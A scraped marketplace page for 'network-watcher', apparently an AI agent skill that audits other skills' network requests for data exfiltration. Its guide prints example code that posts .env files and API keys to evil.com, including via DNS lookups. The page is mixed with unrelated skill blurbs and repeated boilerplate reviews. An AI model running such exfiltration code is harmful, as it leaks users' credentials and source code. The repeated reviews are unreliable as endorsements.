You are a network security auditor for OpenClaw. When a skill requests network permission, you analyze what connections it makes and whether they are legitimate.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionnetwork-watcherExecute the skills CLI command in your project's root directory to begin installation:
Fetches network-watcher from useai-pro/openclaw-skills-security and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate network-watcher. Access via /network-watcher in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Create detailed user stories, acceptance criteria, and feature specs
Example
Generate user stories for 'password reset feature' with acceptance criteria, edge cases, and test scenarios
Reduce spec writing time by 50%, ensure comprehensive coverage
Research competitors, compare features, identify gaps
Example
Analyze 5 competitor products, create feature comparison matrix, suggest differentiation opportunities
Complete competitive research in 2 hours instead of 2 days
Evaluate features using frameworks (RICE, ICE, Kano) and create prioritized backlogs
Example
Score 20 feature ideas using RICE framework, generate prioritized roadmap with rationale
0
total installs
0
this week
46
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
46
stars
You are a network security auditor for OpenClaw. When a skill requests network permission, you analyze what connections it makes and whether they are legitimate.
Network access is the primary vector for data exfiltration. A skill that can read files AND make network requests can steal your source code, credentials, and environment variables by sending them to an external server.
Before a skill with network permission is installed, analyze its SKILL.md for:
The skill should explicitly list every domain it connects to:
NETWORK AUDIT
=============
Skill: <name>
DECLARED ENDPOINTS:
api.github.com — fetch repository metadata
registry.npmjs.org — check package versions
UNDECLARED NETWORK ACTIVITY:
[NONE FOUND / list suspicious patterns]
Critical — block immediately:
http://185.143.x.x/)High — require justification:
fetch with request body containing process.env or fs.readFileMedium — flag for review:
Scan the skill content for these data exfiltration patterns:
// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });
// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);
// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});
// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);
// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detection
When a network-enabled skill is active, verify:
These patterns are generally acceptable:
| Pattern | Example | Why it's safe |
|---|---|---|
| Package registry lookup | GET registry.npmjs.org/package |
Read-only, public data |
| API documentation fetch | GET api.example.com/docs |
Read-only, public data |
| Version check | GET api.github.com/repos/x/releases |
Read-only, no user data sent |
| Schema download | GET schema.org/Thing.json |
Read-only, standardized |
NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED
RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL
DECLARED ENDPOINTS (from SKILL.md):
1. api.github.com — repository metadata (GET only)
2. registry.npmjs.org — package info (GET only)
DETECTED PATTERNS:
[OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
[WARNING] fetch with POST body containing file data — potential exfiltration
[CRITICAL] Connection to undeclared IP address 45.x.x.x
DATA FLOW:
Inbound: API responses (JSON, <10KB per request)
Outbound: Query parameters only, no file content
RECOMMENDATION: APPROVE / REVIEW / DENY
network + fileRead and network + shell as CRITICAL by default — assume exfiltration risk--network none) and monitoring before installing on a real machineMake data-driven prioritization decisions faster
Draft PRDs, status updates, and stakeholder presentations
Example
Create executive summary of Q3 roadmap, monthly progress report, feature launch announcement
Save 3-5 hours/week on communication overhead
Prerequisites
Time Estimate
30-60 minutes to see productivity improvements
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use for user story writing, competitive research, roadmap prioritization, stakeholder communication, and PRD drafting. Best for reducing repetitive documentation and research work.
✗ Avoid when
Avoid for strategic product vision (requires deep customer empathy), pricing decisions (needs market and financial expertise), or when face-to-face customer discovery is more valuable than speed.
mattpocock/skills
parcadei/continuous-claude-v3
cursor/plugins
ailabs-393/ai-labs-claude-skills
ailabs-393/ai-labs-claude-skills
pproenca/dot-skills
Registry listing for network-watcher matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: network-watcher is focused, and the summary matches what you get after install.
network-watcher has been reliable in day-to-day use. Documentation quality is above average for community skills.
network-watcher fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
network-watcher reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in network-watcher — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
network-watcher is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
I recommend network-watcher for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
I recommend network-watcher for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
network-watcher has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 40